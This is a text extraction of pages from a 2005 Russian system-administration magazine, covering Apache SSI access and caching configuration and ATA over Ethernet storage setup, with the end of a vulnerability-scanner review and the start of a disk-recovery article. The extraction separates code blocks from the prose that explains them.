ЛицензияAcunet ix WVS доступен в двух версиях enterpr ise и consultant. Первая имеется в различных вариантах и мо-жет быть ограничена по количеству сканируемых сайтов, времени использования и типам компьютеров, на которых может устанавливаться Acunetix WVS. Кроме того, версия enterprise оставляет записи в файлах журналов веб-сер-веров о произведенном сканировании. Ориентирована в первую очередь на администраторов, которые должны контролировать безопасность своего сервера. Вторая не имеет ограничений по количеству сканируемых серверов и ориентирована на специалистов по безопасности. Це-на колеблется от 395 до 2995 у.е. Оценочная версия, кото-рую можно свободно скачать, не позволяет сохранять ре-зультат сканирования и ограничена только адресом http://test.acunetix.com.

Напоследок хочется отметить, что Acunetix WVS облада-ет удобным и понятным интерфейсом, помогающим в рабо-те, легок в установке, настройке и использовании. Букваль-но через несколько минут после начала установки можно получить готовый результат. К плюсам также можно отнес-ти частичную локализацию выводимых сообщений и хоро-шую документацию.

Ссылки:1. Страница проекта Acunetix WVS – http://www.acunetix.

com/wvs.2. Open Source (GPL) web server scanner Nikto – http://www.

cirt.net/code/nikto.shtml.3. Webserver Security Scanner AriRang – http://www.monkey.

org/~pilot/arirang.4. Цикл статей «Тестирование веб-приложений на проник-

новение» – http://www.bugtraq.ru/library/security.

Acunetix WVS позволяет сравнить результаты сканирования

Page 72: 034 Системный Администратор 09 2005

70

web

С егодня мы обсудим три аспекта настройки механиз-ма SSI. Во-первых, SSI часто используется для вклю-чения внешних файлов в состав SHTML-документа.

Эти включаемые файлы, естественно, не являются полноцен-ными, законченными HTML-документами и не предназначе-ны для просмотра посетителями. Как запретить доступ к этим файлам? Во-вторых, включаемые файлы могут быть стати-

ческими, а могут, в свою очередь, содержать SSI-инструкции. Как регламентировать обработку этих файлов, запретив SSI-интерпретатору обрабатывать заведомо статические доку-менты? И в-третьих, как настроить механизм кэширования SHTML-документов? Известно, что по умолчанию SHTML-до-кументы не кэшируются, но зачастую они не так уж динамич-ны, чтобы полностью отказаться от кэширования.

АККУРАТНАЯ НАСТРОЙКА SSIАККУРАТНАЯ НАСТРОЙКА SSI

Документация и описания SSI столь же многочисленны, сколь широко применение

этого механизма. И тем удивительнее то, как мало внимания уделяется оптимизации SSI

и при написании документации, и при использовании SSI на практике.

АЛЕКСЕЙ МИЧУРИНАЛЕКСЕЙ МИЧУРИН

Page 73: 034 Системный Администратор 09 2005

71№9, сентябрь 2005

web

Все поставленные задачи мы будем решать средства-ми сервера Apache, ориентируясь на версию 1.3, которая не торопится сдавать свои позиции. Однако все предлага-емые рецепты будут работать и на Apache 2.0. На сущест-венных отличиях между «старым» и «новым» Apache мы бу-дем останавливаться особо.

Сервер Apache, как известно, работает на множестве платформ. Большинство рецептов, приведённых в этой статье, столь же универсальны. Исключения будут отме-чены.

Регламентируем доcтупСудя по названию (Server-Side Includes), основным предна-значением SSI является включение файлов. Неудивитель-но, что наиболее часто разработчики используют SSI-ди-рективу include.

Например, можно разместить код шапки страницы, об-щий для всех страниц, в отдельном файле:

А потом подключать содержимое этого файла ко всем документам:

Это действительно значительно упрощает и разработ-ку, и особенно поддержку. Ведь чтобы изменить дизайн за-головка на всех страницах, теперь достаточно отредакти-ровать всего один файл.

Но возникает вопрос: как запретить пользователю про-сматривать SSI-«кирпичики», такие как head.ssi, отдельно от результирующего документа? Обычно, когда необходимо надёжно скрыть какие-то файлы от посетителя, их просто размещают за пределами части файловой системы, доступ-ной для сервера. Это идеальное решение, но оно не при-менимо для нашей задачи, так как SSI позволяет включать только файлы, потенциально доступные посетителю. Иначе SSI представлял бы немалую угрозу безопасности.

Можно предложить множество решений, которые по су-ти будут являться лишь различными комбинациями двух «полярных» приёмов. Давайте рассмотрим эти два «по-лярных» решения.

Ограничение доступа средствами SSIПроблему можно решить, используя только средства SSI. Для этого воспользуемся тем, что переменные окруже-ния основного документа доступны и вставляемому до-кументу.

Давайте создадим в основном документе переменную-флажок:

А во вставляемом документе проанализируем, уста-новлен ли флаг:

Теперь, если клиент случайно или нарочно запросит на-прямую документ head.shtml, то процессор SSI не обнаружит переменную окружения SSI_FLAG, сработает ветка else и по-сетитель получит сообщение о загадочной ошибке 999.

Если же документ head.shtml используется для вклю-чения, то он обнаружит флаг, предварительно установлен-ный нами.

Такой подход может быть оправдан, если у вас нет ника-кой возможности влиять на настройки сервера. Но, как вы видите, у него есть несколько недостатков.

Во-первых, это усложнение кода, причём и включаю-щего документа, и включаемого. Во-вторых, теперь, даже если включаемый документ содержит только статическую информацию (как в нашем случае), мы всё равно обязаны обработать его SSI-интерпретатором. Естественно, это уве-личивает нагрузку на сервер.

Ограничение доступа средствами сервераЕсли у вас есть некоторые полномочия по конфигуриро-ванию сервера, то можно обойтись гораздо меньшей кро-вью.

Во-первых, вернёмся к прежней, простой версии шап-ки, но переименуем файл, скажем, в head.inc:

Во включаемом файле тоже изменим имя файла-шап-ки:

А теперь настроим сервер так, чтобы он не показывал посетителю файлы с расширением .inc.

Для определённости мы будем рассматривать на-стройки применительно к файлу локальной конфигурации

<!-- файл шапки head.shtml --><html><head><title>Название</title></head><body><h1>Название</h1><hr>

<!--#include virtual="head.sthml" --><p>Содержимое страницы</p></body></html>

<!--#set var="SSI _ FLAG" value="YES" -->

<!-- файл шапки head.shtml --><!--#if expr="$SSI _ FLAG" --><html><head><title>Название</title></head><body><h1>Название</h1><hr><--#else --><html><head><title>ERROR 999</title></head><body><h1>Документ не доступен</h1></body></html><!--#endif -->

<!-- файл шапки head.inc --><html><head><title>Название</title></head><body><h1>Название</h1><hr>

<!--#include virtual="head.inc" --><p>Содержимое страницы</p></body></html>

<!--#include virtual="head.sthml" --><p>Содержимое страницы</p></body></html>

Page 74: 034 Системный Администратор 09 2005

72

web

.htaccess. Естественно, все упоминаемые директивы мо-гут быть использованы и в файлах глобальных настроек, таких как httpd.conf.

Нам понадобится всего две директивы:

! SetEnvIf – принадлежит к группе FileInfo. Она позволя-ет устанавливать переменные окружения, руководству-ясь некоторыми условиями. Как видите, мы тестируем запрашиваемый URI на предмет его совпадения с регу-лярным выражением \.inc$. То есть мы проверяем, за-канчивается ли имя запрашиваемого документа симво-лами .inc. Если это так, то сервер установит перемен-ную ssi_part. Мы не указываем явно значения, по умол-чанию сервер присвоит ей строку «1».

! Deny – принадлежит к группе Limit. Она запретит доступ к документу, если установлена переменная ssi_part. На-помню, что для правильной работы этих настроек вам может понадобиться директива Order Allow,Deny, опи-сание которой выходит за рамки этой статьи. Если у вас нет опыта использования директив Order, Allow и Deny, обратитесь к документации на Apache.

Переменную ssi_part можно использовать в обработчике ошибки 403. Именно эта ошибка будет возникать при сра-батывании директивы Deny.

Как видите, мы вернули документам прежний, предель-но простой вид и решили поставленную задачу по ограни-чению доступа.

Можно поступить ещё проще. Создать отдельную ди-ректорию для SSI-«кирпичиков» и разместить в ней файл .htaccess следующего содержания:

Теперь все файлы, находящиеся в этой директории, будут недоступны, так сказать, безусловно – независимо от расширения файла и прочего.

Такой подход оправдан, если вы оперируете с большим количеством SSI-компонентов. Тогда действительно удобно обособить их в отдельной директории. Если же таких ком-понентов один-два, то, возможно, и не стоит «городить ого-род». Выбор за вами.

Промежуточные решенияНа базе двух предложенных решений можно составить мно-жество промежуточных подходов. Скажем, если по прави-лам хостинга изменять настройки группы Limit запрещено (то есть директива Deny недоступна), но вы имеете право использовать директиву SetEnvIf (она, напомню, принадле-жит к группе FileInfo), то устанавливать флаг можно средс-твами сервера, а проверять его значение – средствами SSI. Это позволит упростить код включающего документа.

Средствами SSI можно проверять и адрес документа, но здесь надо быть осторожным. Дело в том, что перемен-ная REQUEST_URI содержит и строку запроса. То есть если вы проверяете, заканчивается ли REQUEST_URI подстро-кой .inc, то злоумышленник может обмануть вашу провер-

ку, запросив ресурс head.inc?index.sthml. Кроме того, воз-можны недоразумения при передаче строки запроса. На-пример, такие: index.sthml?var=head.inc. Пользователь за-просил обычный STHML-документ, но REQUEST_URI всё-таки заканчивается на .inc, и в доступе будет отказано.

Этого недостатка лишена переменная DOCUMENT_URI; используйте её.

Однако даже использование DOCUMENT_URI не избав-ляет от проблем с trailing-путями, которые являются голо-вной болью обоих подходов (и, естественно, любых комби-наций этих подходов). Давайте рассмотрим этот наиболее сложный момент на примере второго подхода – ограниче-ние доступа средствами сервера.

Trailing-пути, <Files> и <FilesMatch>Обработка Request_URI не справляется с trailing-путями. Например, к файлу head.inc можно обратиться, как head.inc/index.shtml. Именно эта строка окажется в переменной Request_URI и в переменной DOCUMENT_URI. При этом на-ша проверка не сработает, а документ head.inc будет вы-дан клиенту.

Своеобразное решение этой проблемы предлагает Apache версии 2.0. Дело в том, что по умолчанию Apache 2.0 теперь не обслуживает trailing-пути и переменную PATH_INFO для SSI-документов. 1.3-образное поведение можно вернуть с помощью специальной директивы AcceptPathInfo. Для надёжного решения в Apapche 1.3 так и хочется исполь-зовать секцию <Files> или <FilesMatch>:

На этот раз мы проверяем именно имя файла, и, каза-лось бы, теперь мы точно заблокировали просмотр фай-лов с расширениями .inc и .ssi. Но наша блокировка ока-зывается слишком жёсткой. Мы запретили доступ к этим файлам и для SSI-интерпретатора. Теперь он тоже не смо-жет получить их.

Чтобы застраховаться от trailing-путей, можно добавить ещё одну проверку:

Правда, при этом мы получили неприятный побочный эффект – запретили доступ ко всем файлам, расположен-ным в директориях с расширениями .inc. Думаю, однако, что это не большая потеря.

Аналогичным образом можно поступить и анализируя переменную DOCUMENT_URI средствами SSI, если вы ис-пользуете некий комбинированный поход.

Регламентируем обработкуДавайте рассмотрим более реалистичный пример исполь-зования SSI. Пусть ко всем страницам будет подключать-ся общий заголовок и общее завершение. Причём заголо-вок будет не совсем статичный:

<FilesMatch "\.(inc|ssi)$"> Deny from all</FilesMatch>

SetEnvIf Request _ URI "\.inc/" ssi _ part

SetEnvIf Request _ URI "\.inc$" ssi _ partDeny from env=ssi _ part

SetEnv ssi _ partDeny from env=ssi _ part

<!-- файл шапки head.ssi --><html><head>

Page 75: 034 Системный Администратор 09 2005

73№9, сентябрь 2005

web

Завершение будет статичным:

Подключающие документы будут иметь вид:

Как видите, документ head.ssi должен быть обработан SSI-интерпретатором, но документ tail.inc полностью ста-тичен и в такой обработке не нуждается. Как сэкономить ресурсы сервера и производить обработку только там, где это необходимо?

Мы не случайно дали включаемым файлам разные рас-ширения. Теперь ответ прост: надо включить механизм SSI для файлов с расширением .ssi, и только для них. Для этого используем следующие конфигурационные директивы:

Первая – включает SSI-интерпретатор для .ssi-файлов. Вторая – ассоциирует их с MIME-типом text/html; это чисто косметическая мера, SSI-интерпретатор не обращает вни-мания на MIME-тип включаемой информации; эту директи-ву можно и опустить.

Конечно, мы предполагаем, что SSI-интерпретация раз-решена директивой Options:

Следует также добавить, что такой вариант подключе-ния SSI справедлив для Apache 1.3. В Apache 2.0 указанные директивы будут работать точно так же, потому что разра-ботчики позаботились об обратной совместимости. Одна-ко на самом деле механизм SSI в Apache 2.0 реализован принципиально иначе (в виде фильтра) и «правильно» под-ключается иначе. В этой статье я не буду касаться специ-фики Apache 2.0, все приведённые примеры будут рабо-тать одинаково на обоих версиях сервера, но я бы совето-вал пользователям второй версии хотя бы бегло просмот-реть документацию – различий между версиями гораздо больше, чем может показаться.

Теперь файлы с расширением .ssi будут обрабатывать-ся, а файлы .inc будут вставляться «как есть». Кстати, мож-но было бы и для них прописать MIME-тип.

Если переименовать все файлы затруднительно, то мож-но воспользоваться директивой XBitHack on. Она, как вы, на-верно, знаете, предписывает SSI-интерпретатору обрабаты-вать файлы с установленным битом исполняемости (бит x).

Это очень удобно, так как позволяет включать и выклю-чать SSI-интерпретацию файла, не меняя его имени, а прос-

то изменяя его атрибуты. Но есть у директивы XBitHack и большой минус – её невозможно использовать, если фай-ловая система не допускает атрибут x. То есть под Windows эта директива абсолютно бесполезна.

Регламентируем кэшированиеПо понятным причинам сервер не выдаёт для SSI-доку-ментов HTTP-заголовки Last-Modified и ETag, что практи-чески полностью исключает возможность их кэширова-ния. Это не всегда полезно, например, если информация обновляется раз в неделю, то кэширование на час-два сов-сем не помешало бы.

К счастью, сервер может выдавать информацию о том, до какого времени данный документ сохранит свою акту-альность. Передаётся она в HTTP-заголовке Expires. Управ-лять ею можно при помощи трёх директив: ExpiresActive, ExpiresByType и ExpiresDefault.

Директива ExpiresActive допускает два значения аргу-мента: on или off. Она разрешает или запрещает генери-рование заголовка Expires. Обратите внимание: даже ес-ли заголовок Expires разрешён, он не будет генерировать-ся, если он не определён для документа данного MIME-типа. Обратное также верно: если заголовок определён, но его генерация не разрешена, то, естественно, тоже не будет генерироваться.

Директива ExpiresByType описывает, как именно долж-но вычисляться время актуальности документа данного MIME-типа. Самый простой синтаксис таков:

Буква A означает, что заданное количество секунд сле-дует прибавить к текущему времени. Буква M – к дате со-здания/модификации файла.

То есть, чтобы файлы типа text/html сохранялись в кэше в течение часа, директива должна выглядеть так:

Время может быть задано и в более «читабельной» фор-ме, например:

Если такая форма записи представляется вам более удобной, обратитесь за подробным описанием к докумен-тации на Apache. Никаких дополнительных преимуществ эта форма записи не даёт.

Директива ExpiresDefault описывает, как рассчитывать время для документов, типы которых не были описаны яв-но с помощью ExpiresByType.

ПредостереженияСтоит сделать два предостережения.

Во-первых, ExpiresByType – очень мощное средство. Не забывайте, что большинство CGI-сценариев выдают тип документа text/html. Используя её, следует чётко понимать, что вы описываете кэширование для любого рода инфор-мации определённого MIME-типа. Представляете недоуме-

<!-- файл завершения tail.inc --><hr></body></html>

<!--#set var="page _ name" value="название" --><!--#include virtual="head.ssi" --><p>Содержимое страницы</p><!--#include virtual="tail.inc" -->

AddHandler server-parsed .ssiAddType text/html .ssi

Options +Includes

<title><!--#echo var="page _ name" --></title></head><body><h1><!--#echo var="page _ name" --></h1><hr>

ExpiresByType MIME-тип <A/M>секунды

ExpiresByType text/html A3600

ExpiresByType text/html "access plus 1 hours"

Page 76: 034 Системный Администратор 09 2005

74

web

Последние четыре строки включают заголовок Expires для .lsthml-файлов.

Таким образом в статье мы оговорили четыре типа фай-лов:! .shtml – подлежат SSI-обработке и просмотру – это обыч-

ные SHTML-файлы;! .lshtml – отличаются от обычных только тем, что кэши-

руются на час;! .ssi – подлежат обработке, но не просмотру – это дина-

мические SSI-«кирпичики»;! .inc – не подлежат ни обработке, ни просмотру – это ста-

тические SSI-«кирпичики».

Не забывайте, что можно отказаться от многих прове-рок, разместив файлы в разных директориях.

В директории с обычными SHTML-файлами помещаем .htaccess следующего содержания:

В директории с «долгоиграющими» SHTML-докумен-тами:

Мы, как видите, отказались от экзотического расшире-ния .lshtml в пользу классического .shtml. И создавать блок <Files> нам не пришлось.

В директории с SSI-«кирпичиками», требующими до-полнительной обработки, помещаем .htaccess со следую-щими директивами:

Я и здесь отказался от расширения .ssi.В этой же директории можно разместить и статичес-

кие SSI-компоненты, сообщив им любое расширение, кро-ме .shtml (я бы предложил классическое .html или вовсе без расширения).

Опять же если вы активно используете аппарат SSI и уп-равляете большим количеством файлов, то создание от-дельных директорий может быть весьма кстати. Если же этих файлов не много, то проще написать один большой .htsaccess, положить его в корень сервера и на этом закон-чить с настройками.

Наконец, опытные администраторы серверов могут включить настройки, подобные приведённым здесь, в сек-ции <Directory>, <DirectoryMatch>, <Files>, <FilesMatch>, <Location> или <LocationMatch>, разместить их в файлах глобальных настроек и сообщить тем самым необходимые настройки множеству виртуальных серверов на массовых хостингах. Или по крайней мере избавиться от нескольких файлов .htaccess, собрав настройки для разных директо-рий в одном месте.

ние пользователей чата, если его страницы будут кэширо-ваться на полчасика?

«Привязаться» к конкретному расширению файла мож-но с помощью всё тех же блоков <Files> и <FilesMatch>.

Во-вторых, не злоупотребляйте директивой ExpiresDefault. Помните, что её действие распространяется только на фай-лы, которые не были описаны директивой ExpiresByType. Может показаться, что достаточно разместить в .htaccess директиву:

и она обеспечит часовое кэширование и для HTML-доку-ментов, и для различных картинок, и для zip-, и для mp3-файлов, и для всего остального. Это действительно так, ес-ли ранее не применялась ни одна директива ExpiresByType. Вы уверены, что администратор сервера не написал где-нибудь в недрах httpd.conf что-то вроде этого?

Если это так, то ваша директива ExpiresDefault не ока-жет никакого влияния на файлы перечисленных типов, ведь для них правила уже оговорены.

Поэтому старайтесь явно описывать каждый MIME-тип.

ИтогоДавайте подведём некоторые итоги и просуммируем ска-занное. Удачной мне представляется следующая конфи-гурация:

Для удобства я пронумеровал строки, конечно, в .htaccess этой нумерации быть не должно.

В первой строке мы включаем SSI-интерпретатор. Очень может быть, что эта мера излишняя. В большинстве слу-чаев эта директива присутствует в глобальных настрой-ках сервера.

В строках 2-5 мы включаем SSI-обработку для файлов .shtml и .lshtml и назначаем им MIME-тип, соответственно. На этот раз указание MIME-типа является необходимой ме-рой, ведь эти файлы будут доступны посетителям сайта.

В строке 6 включаем SSI-обработку для .ssi-файлов. MIME-тип для них мы не оговариваем – эти файлы будут не доступны для клиентов.

В строках 7-11 мы осуществляем всевозможные про-верки и запрещаем непосредственный доступ к .ssi- и .inc-файлам.

Options +IncludesAddHandler server-parsed .shtmlAddType text/html .shtml

Options +IncludesAddHandler server-parsed .shtmlAddType text/html .shtmlExpiresActive onExpiresByType text/html A3600

Options +IncludesAddHandler server-parsed .shtmlAddType text/html .shtmlSetEnv ssi _ partDeny from env=ssi _ part

ExpiresDefault A3600

ExpiresByType image/gif "access plus 1 weeks"ExpiresByType image/jpeg "access plus 1 weeks"ExpiresByType image/png "access plus 1 weeks"

1: Options +Includes 2: AddHandler server-parsed .shtml 3: AddType text/html .shtml 4: AddHandler server-parsed .lshtml 5: AddType text/html .lshtml 6: AddHandler server-parsed .ssi 7: SetEnvIf Request _ URI "\.inc$" ssi _ part 8: SetEnvIf Request _ URI "\.ssi$" ssi _ part 9: SetEnvIf Request _ URI "\.inc/" ssi _ part10: SetEnvIf Request _ URI "\.ssi/" ssi _ part11: Deny from env=ssi _ part12: <Files "*.lshtml">13: ExpiresActive on14: ExpiresByType text/html A3600 15: </Files>

Page 77: 034 Системный Администратор 09 2005
Page 78: 034 Системный Администратор 09 2005

76

сети

В крупных компаниях SAN соединяет многочисленные сервера к централизованному пулу дисков хранения. По сравнению с администрированием сотни серве-

ров, где каждый из них имеет собственное дисковое хра-нилище, сети SAN упрощают эксплуатацию и обслужива-ние. Однако есть недостаток в использовании SAN – каж-дое устройство (дисковый массив) «принадлежит» серверу, который инициировал соединение. В отличие от SAN этого недостатка нет у NAS (Network Attached Storage), где доступ от многих серверов к одному файлу не блокируется и ин-формация от такого взаимодействия не теряется. Впрочем, превратить SAN в NAS просто – следует использовать клас-

терные файловые системы – GFS (Global File System) [2], OCFS2 (Oracle Cluster File System) [3] и аналогичные.

На каких технологиях строятся современные SAN-се-ти? Широкоизвестным видом является FiberChannel (опти-ческий канал передачи данных). Название FiberChannel не должно вас пугать – этот тип соединения может быть реа-лизован и на основе витой пары (см. Wikipedia [1]). Типич-ная сеть состоит из нескольких оптических коммутаторов, которые соединены между собой и посредством HBA (Host Bus Adapter) подключены к дискам. Передача данных осно-вана на протоколе SCSI. Не стоит говорить, что это самое дорогое решение.

ПРОТОКОЛЫ СЕТЕЙ ХРАНЕНИЯ ДАННЫХПРОТОКОЛЫ СЕТЕЙ ХРАНЕНИЯ ДАННЫХЧАСТЬ I – ATA OVER ETHERNET (AOE)ЧАСТЬ I – ATA OVER ETHERNET (AOE)

Задача современных систем обработки информации – надежное хранение данных. Сегодня

мы поговорим о SAN (Storage Area Networks), а если быть точнее, то о протоколах, которые

обеспечивают их надежность и безопасность обрабатываемых данных.

АНТОН БОРИСОВАНТОН БОРИСОВ

Page 79: 034 Системный Администратор 09 2005

77№9, сентябрь 2005

сети

Конкурентом технологии FiberChannel является iSCSI-протокол. Передача данных в этом случае производится не по оптическим каналам, а по витой паре (ethernet). Сеть в данном случае представлена ethernet-коммутатороми и UTP-кабелями категории 5e/6. Работа протокола iSCSI полагается на функционирование TCP/IP-протокола.

Следующим протоколом, который используется при разработке SAN-сетей, является AoE (ATA over Ethernet). ATA-протокол инкапсулируется в ethernet-кадры и в отли-чие от iSCSI не предусмотрен для маршрутизации. Одна-ко AoE обладает интересной реализацией обнаружения AoE-устройств.

Наиболее перспективной и проработанной технологи-ей можно считать протокол HyperSCSI, который в некото-рой степени похож на iSCSI, но не использует TCP/IP в ка-честве своей основы. В заключительной части этого цик-ла статей я приведу результаты измерения скоростных ха-рактеристик, а сейчас немного вас заинтригую – как ока-залось, AoE не самый быстрый протокол.

Сегодняшняя статья посвящена, пожалуй, самому мо-лодому и амбициозно продвигаемому протоколу – AoE (ATA over Ethernet). Впервые о нем широко заговорили в 2004 го-ду. Компания – разработчик протокола и на сегодняшний день единственный производитель устройств хранения ин-формации, работающих с этим протоколом – Coraid Inc. [4]. Коротко охарактеризовать данный протокол можно фра-зой – «ATA-команды инкапсулируются в ethernet-кадры». Протокол уже получил свой номер в организации IANA, по-этому включение его поддержки в маршрутизаторы – дело ближайшего времени. Хотя было бы наивно думать, что сам по себе протокол будет поддержан всеми производителями коммуникационного оборудования. Впрочем, немало зави-сит и от настойчивости самой фирмы Coraid.

Краткий экскурс в основупротокола AoEРассмотрим заголовок ethernet-пакета для протокола AoE (см. рис. 1). Первые 14 байт в заголовке типичны для ethernet-пакета. Что же касается полей Ver, Flags, Error, то они детально расписаны в документации на протокол AoE [5].

Содержимое поля Arg зависит от того, какую команду пе-редали в поле Command. Существует два варианта – «Вы-полнить ATA-команду» (Command 0) и «Запросить конфи-гурационную информацию» (Command 1). Первая команда передается на сторону сервера, и ATA-устройство серве-ра исполняет ATA-команды, которые скомпонованы в бло-ке Arg. Ethernet-пакет для протокола AoE запрещается раз-бивать на более мелкие фрагменты. Вторая команда пред-

назначена для обнаружения и управления AoE-устройства-ми. Вот такой простой протокол получился.

Итак, на данный момент доступны GPL-драйвера для Linux 2.4, 2.6. В пакет ПО входят как модули (aoe-2.4.XX/aoe-2.6.YY), так и утилиты (aoetools) с виртуальным наносер-вером (vblade). С января этого года AoE-драйверы включе-ны в поставку Linux-ядер версии 2.6. Поэтому, в случае ког-да вы пересобираете Linux-ядро версии 2.6, можете смело выбрать компиляцию AoE – подсистемы. Также на сегод-няшний день готовы порты для BSD-систем. В планах ком-пании стоит выпуск драйверов и под Windows-платформу. Что касается остальных UNIX-систем, то для них готовых драйверов нет, по крайней мере сейчас.

Настройка модулейЯдро дистрибутива, на котором будут проводиться сегод-няшние испытания, – это Linux Kernel серии 2.4.

Примерный вывод должен быть таким:

Подготовка AoE-модулей завершена. В /etc/modules.conf прописаны параметры для устройств на основе AoE-протоко-ла и созданы файлы устройств в директории /dev/etherd/.

Следующий наш шаг – это подготовка виртуального наносервера (vblade). Дело в том, что Coraid Inc., помимо раздачи под GPL-лицензией драйверов для AoE, является и единственным производителем устройств хранения ин-формации EtherBlade, которые пока представлены только на рынке США и сопредельных государств. Однако, судя по информации с сайта компании, идет процесс создания дистрибьюторской сети.

Что из себя представляет EtherBlade?EtherBlade сегодня представлен двумя продуктами – это шасси размеров 3U и 2U. В первом варианте «лезвия» хра-

SAN (Storage Area Network) – сеть, спроектированная для подклю-чения устройств хранения (дисковых массивов и магнитных лент) к серверам. Характерно, что SAN отличается от других способов сетевого хранения информации за счет использования методи-ки блочного доступа. Фактически сервер запрашивает информа-цию типа «блок X с диска Y». Передаваемая информация в SAN-сетях очень похожа на ту, что циркулирует по шине данных в дис-ках ATA и SCSI.

Рисунок 1. Заголовок ethernet-пакета для протокола AoE

# wget aoe-2.4-3.tar.gz# tar xzvf aoe-2.4-3.tar.gz# cd aoe-2.4-3# make && make install

Found kernel version 2.4.26Install directory is /lib/modules/2.4.26/kernel/net/aoemkdir -p /lib/modules/2.4.26/kernel/net/aoeinstall -m 644 aoe.o /lib/modules/2.4.26/kernel/net/aoe./mkdevs /dev/etherdDirectory /dev/etherd exists, skipping devnode installation../autoload/sbin/depmod -a

alias block-major-152 aoealias char-major-152 aoe

Page 80: 034 Системный Администратор 09 2005

78

сети

нятся 10 жестких дисков формата 3,5 дюйма. Во втором ва-рианте уже используются 18 жестких дисков меньшего фор-мата, а именно 2,5 дюйма. Если в самом начале карьеры EtherBlade использовались PATA-диски, то сегодня выпус-каются модификации для SATA-дисков. Внутри отдельного лезвия находится контроллер памяти, процессор, ethernet-порт (см. рис. 2). Каждое такое лезвие потребляет около 12 Ватт, и гигабайт его стоимости начинается от 1,75 $. Для более тонкого варианта EtherBlade данные соответственно следующие: 5,5 Вт и 7,06 $. Лезвия подключаются во вне-шний 1-гигабитный свитч, который в свою очередь может быть подключен в более скоростной 10-гигабитный. Таким образом достигается масштабирование данного решения.

Чтобы не ждать поставки аппаратного «лезвия», мож-но воспользоваться его виртуальным аналогом – програм-мным vblade.

Настройка наносервера vblade.

Получились 2 исполняемых файла – vblade и vbladed. Последний является обычным скриптом, который запус-кает vblade. Его конструкция напоминает нижеследующий вариант (параметры изменены):

где «9» – номер шасси, «0» – номер слота (диска или лез-вия), «eth0» – название интерфейса, по которому будет происходить обмен данными и «/dev/hda» – собственно ус-тройство, которое в формате «AoE» делается доступным по ethernet.

С другой машины, запустив там предварительно про-цесс инсталляции драйвера AoE, мы увидим в /var/log/messages следующее:

То есть устройство распознано драйвером AoE. Здорово. Теперь запустив fdisk, мы увидим, что на нем находится:

Все так и обстоит на самом деле – это действительно структура удаленного хранилища, в нашем случае ATA-дис-ка. Для получения статистики воспользуемся утилитой aoe-stat из пакета aoetools.

И это правильно, т.к. sysfs разработан в ядрах серии 2.6. Однако данный факт не помешает нам вручную узнать со-стояние наносервера.

Досадной мелочью (по крайней мере в драйверах 2.4) является невозможность использовать отдельные разделы в случае, когда наносервер предоставляет для целей хра-нения весь диск. Чтобы обойти это ограничение, создадим один раздел занимающий весь объем диска. Командная строка для vblade будет выглядеть, например, так:

В этом случае монтирование «лезвия» на удаленной ма-шине не отличается от монтирования локального диска.

У данного решения есть и минусы. За счет простоты ре-ализации протокола увеличивается нагрузка на подсисте-му ввода/вывода. Не проработана система шифрования трафика, передаваемого по сети. Как уже отмечалось вы-ше, на рынке представлены только аппаратные продукты одной компании.

В следующей части мы познакомимся с протоколом iSCSI, узнаем, что такое «инициатор» и «iSCSI-target», поп-робуем подключить Windows- и Linux-клиенты к серверу с хранилищем данных по iSCSI-протоколу.

Ссылки:1. http://wikipedia.org.2. http://www.redhat.com/software/rha/gfs.3. http://oss.oracle.com/projects/ocfs2.4. http://www.coraid.com.5. http://www.coraid.com/documents/AoEr8.txt.

Рисунок 2. Структура единичного «лезвия»

Рисунок 3. EtherBlade

# fdisk /dev/etherd/e9.0

Command (m for help): pDisk /dev/etherd/e9.0: 41.1 GB, 41174138880 bytes255 heads, 63 sectors/track, 5005 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System/dev/etherd/e9.0p1 * 1 924 7421998+ b W95 FAT32/dev/etherd/e9.0p2 925 1217 2353491 7 HPFS/NTFS/dev/etherd/e9.0p3 1218 1439 1783183+ c W95 FAT32 (LBA)/dev/etherd/e9.0p4 2493 4865 19061122+ f W95 Ext'd (LBA)/dev/etherd/e9.0p5 2493 4865 19061091 b W95 FAT32

/dev/etherd/e9.0 eth0 up# cat /dev/etherd/stat

# /usr/sbin/aoe-stat

aoe-stat Error: sysfs is not mounted

# vblade 9 0 eth0 /dev/hda1

# mount /dev/etherd/e9.0 /mnt/tmp

# wget vblade-5.tar.gz# tar xzvf vblade-5.tar.gz# cd vblade-5.tar.gz# make && make install

# vblade 9 0 eth0 /dev/hda

aoe: aoe_init: AoE v2.4-3 initialised.aoe: 000c6e784408 e9.0 v4000 has 80418240 sectors

Page 81: 034 Системный Администратор 09 2005
Page 82: 034 Системный Администратор 09 2005

80

hardware-практикум

Объемы жестких дисков стреми-тельно растут, а их надежность неуклонно падает. С одной сто-

роны, поджимает плотность записи, с другой – конкуренция. Повсеместно применяются дешевые комплектующие и «сырые» технические решения, обка-тывать которые приходится конечному потребителю, то есть мне и вам. Залог безопасности данных – ежедневное ре-зервирование (тем более что современ-ные съемные носители это позволяют), однако, как показывает практика, даже продвинутые специалисты (не говоря уже о пользователях типа «секретар-ша») пренебрегают этой рекомендаци-ей, ведь все «и так работает»…

После отказа винчестера данные практически всегда можно спасти, ес-ли действовать по плану. Если же пла-на нет, от «врачевания» лучше сразу отказаться. Неумелые попытки толь-ко затрудняют процедуру восстанов-ления, а то и делают ее совсем невоз-можной. Сотрудники сервисных цент-

ров настоятельно отговаривают поль-зователей от самостоятельного ремон-та, а за ослушание карают либо удво-енной (утроенной) ценой, либо же отка-зываются от восстановления. И вовсе не потому, что боятся, что клиент смо-жет обойтись без их помощи! Жест-кий диск – очень сложное устройство. Это не радиоприемник, который мож-но отремонтировать и без знаний ра-диотехники! У работников сервисно-го центра есть оборудование, знания и опыт. Через их руки прошли сотни и тысячи винчестеров, поэтому шан-сы на успешное восстановление дан-ных здесь намного выше, чем у про-стого программиста или администра-тора, рыдающего над убитым диском. Это – теоретически. Практически же… Цена за восстановление зачастую пе-реходит все границы, причем никаких гарантий на благоприятный исход все равно нет. Известно немало случаев, когда кустари забесплатно поднима-ли винчестеры, угробленные «специ-

алистами» сервис-центров. А для жи-телей глубинки никакие «центры» во-обще не доступны и приходится рас-считывать только на себя.

Мы будем говорить о восстанов-лении данных. Ремонт винчестеров (за исключением редких случаев) не-возможен или экономически нецелесо-образен. Нашей задачей будет времен-ное восстановление работоспособнос-ти жесткого диска, достаточное лишь для копирования самых ценных дан-ных, в идеале – всего диска целиком.

